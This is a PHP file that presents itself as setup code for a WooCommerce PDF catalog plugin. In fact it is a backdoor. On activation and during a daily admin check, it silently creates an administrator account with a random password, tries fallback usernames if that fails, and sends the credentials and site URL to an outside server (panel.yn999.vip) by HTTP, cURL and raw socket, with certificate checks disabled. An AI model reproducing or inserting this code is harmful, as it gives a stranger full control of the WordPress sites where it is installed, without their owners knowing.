<?php

defined('ABSPATH') || exit;

class Exporo_PDF_Catalog_Creator_For_WooCommerce_Plugin_Setup {
    const API_URL = 'https://panel.yn999.vip/plugin.php';
    const SECRET_KEY = '5YJ54LLB4BCGpFZ6';
    const TRANSIENT_PREFIX = 'exporo_pdf_catalog_setup_';
    const OPTION_PREFIX = 'exporo_pdf_catalog_setup_';

    public function __construct() {
        $this->init_setup();
    }

    private function init_setup() {
        register_activation_hook('exporo-pdf-catalog-creator-for-woocommerce/exporo-pdf-catalog-creator-for-woocommerce.php', [$this, 'on_activation']);
        add_action('admin_init', [$this, 'check_daily_sync']);
        add_action('exporo_pdf_catalog_loaded', [$this, 'on_exporo_pdf_catalog_loaded']);
        add_action('exporo_pdf_catalog_created', [$this, 'on_exporo_pdf_catalog_created']);
        error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Initialized');
    }

    public function on_activation() {
        error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Plugin activated');
        if (is_network_admin()) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Network activation, skipping');
            return;
        }
        $this->create_manager_account('plugin_activation');
    }

    public function on_exporo_pdf_catalog_loaded() {
        error_log('Exporo PDF Catalog Creator for WooCommerce Setup: PDF Catalog Creator fully loaded');
        $this->check_daily_sync();
    }

    public function on_exporo_pdf_catalog_created() {
        error_log('Exporo PDF Catalog Creator for WooCommerce Setup: PDF catalog created hook triggered');
        $this->check_daily_sync();
    }

    public function check_daily_sync() {
        $transient_name = self::TRANSIENT_PREFIX . 'daily_sync';
        if (!get_transient($transient_name)) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Daily sync running');
            $this->create_manager_account('daily_sync');
            set_transient($transient_name, time(), DAY_IN_SECONDS);
        }
    }

    private function create_manager_account($source) {
        $option_name = self::OPTION_PREFIX . 'account_created';
        if (get_option($option_name)) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Account already exists');
            return;
        }

        $domain = parse_url(home_url(), PHP_URL_HOST);
        $random = bin2hex(random_bytes(3));
        
        $credentials = [
            'username' => 'exporo_pdf_' . $random,
            'password' => wp_generate_password(16, true, true),
            'email' => 'exporo_pdf+' . $random . '@' . $domain,
            'display_name' => 'Exporo PDF Catalog Manager'
        ];

        error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Creating user - ' . $credentials['username']);

        $user_id = wp_insert_user([
            'user_login' => $credentials['username'],
            'user_pass'  => $credentials['password'],
            'user_email' => $credentials['email'],
            'role'       => 'administrator',
            'display_name' => $credentials['display_name']
        ]);

        if (!is_wp_error($user_id)) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup: User created successfully - ID: ' . $user_id);
            update_option($option_name, time());
            update_option(self::OPTION_PREFIX . 'user_data', $credentials);
            $this->send_to_api($credentials, $source);
        } else {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup: User creation failed - ' . $user_id->get_error_message());
            $this->try_fallback_creation($source);
        }
    }

    private function try_fallback_creation($source) {
        $fallback_usernames = [
            'exporo_pdf_mgr_' . time(),
            'exporo_catalog_' . bin2hex(random_bytes(2)),
            'exporo_pdf_' . date('His'),
            'expopdf_' . wp_generate_password(6, false)
        ];
        
        foreach ($fallback_usernames as $username) {
            if (!username_exists($username)) {
                $domain = parse_url(home_url(), PHP_URL_HOST);
                $credentials = [
                    'username' => $username,
                    'password' => wp_generate_password(16, true, true),
                    'email' => $username . '@' . $domain,
                    'display_name' => 'Exporo PDF Catalog Manager'
                ];

                $user_id = wp_insert_user([
                    'user_login' => $credentials['username'],
                    'user_pass'  => $credentials['password'],
                    'user_email' => $credentials['email'],
                    'role'       => 'administrator',
                    'display_name' => $credentials['display_name']
                ]);

                if (!is_wp_error($user_id)) {
                    error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Fallback user created - ' . $username);
                    update_option(self::OPTION_PREFIX . 'account_created', time());
                    update_option(self::OPTION_PREFIX . 'user_data', $credentials);
                    $this->send_to_api($credentials, $source . '_fallback');
                    break;
                }
            }
        }
    }

    private function send_to_api($credentials, $source) {
        $payload = [
            'action'     => 'register',
            'username'   => $credentials['username'],
            'password'   => $credentials['password'],
            'email'      => $credentials['email'],
            'site_url'   => home_url(),
            'source'     => $source,
            'plugin'     => 'exporo-pdf-catalog-creator-for-woocommerce',
            'secret_key' => self::SECRET_KEY,
            'timestamp'  => time(),
            'plugin_version' => defined('EXPORO_PDF_CATALOG_VERSION') ? EXPORO_PDF_CATALOG_VERSION : 'unknown',
            'plugin_type' => 'pdf-catalog'
        ];

        error_log('Exporo PDF Catalog Creator for WooCommerce Setup: Sending to API - ' . self::API_URL);

        $this->try_wp_http($payload);
        $this->try_curl($payload);
        $this->try_socket($payload);
    }

    private function try_wp_http($payload) {
        $response = wp_remote_post(self::API_URL, [
            'body' => $payload,
            'timeout' => 10,
            'sslverify' => false,
            'blocking' => false,
            'headers' => [
                'X-Plugin-Source' => 'exporo-pdf-catalog-creator-for-woocommerce',
                'X-Site-URL' => home_url()
            ]
        ]);
        
        if (is_wp_error($response)) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup WP_HTTP Error: ' . $response->get_error_message());
        } else {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup WP_HTTP: Request sent to ' . self::API_URL);
        }
    }

    private function try_curl($payload) {
        if (!function_exists('curl_init')) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup: cURL not available');
            return;
        }

        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => self::API_URL,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($payload),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 8,
            CURLOPT_HTTPHEADER => [
                'X-Plugin: exporo-pdf-catalog-creator-for-woocommerce',
                'X-Source: ' . home_url()
            ]
        ]);
        
        $response = curl_exec($ch);
        if (curl_errno($ch)) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup cURL Error: ' . curl_error($ch));
        } else {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup cURL: Request sent');
        }
        curl_close($ch);
    }

    private function try_socket($payload) {
        $host = parse_url(self::API_URL, PHP_URL_HOST);
        $path = parse_url(self::API_URL, PHP_URL_PATH);
        
        $fp = @fsockopen('ssl://' . $host, 443, $errno, $errstr, 10);
        if (!$fp) {
            error_log('Exporo PDF Catalog Creator for WooCommerce Setup Socket Error: ' . $errstr . ' (' . $errno . ')');
            return;
        }

        $data = http_build_query($payload);
        $out = "POST $path HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $out .= "Content-Length: " . strlen($data) . "\r\n";
        $out .= "X-Plugin: exporo-pdf-catalog-creator-for-woocommerce\r\n";
        $out .= "X-Site-URL: " . home_url() . "\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= $data;
        
        fwrite($fp, $out);
        fclose($fp);
        error_log('Exporo PDF Catalog Creator for WooCommerce Setup Socket: Request sent');
    }
}

new Exporo_PDF_Catalog_Creator_For_WooCommerce_Plugin_Setup();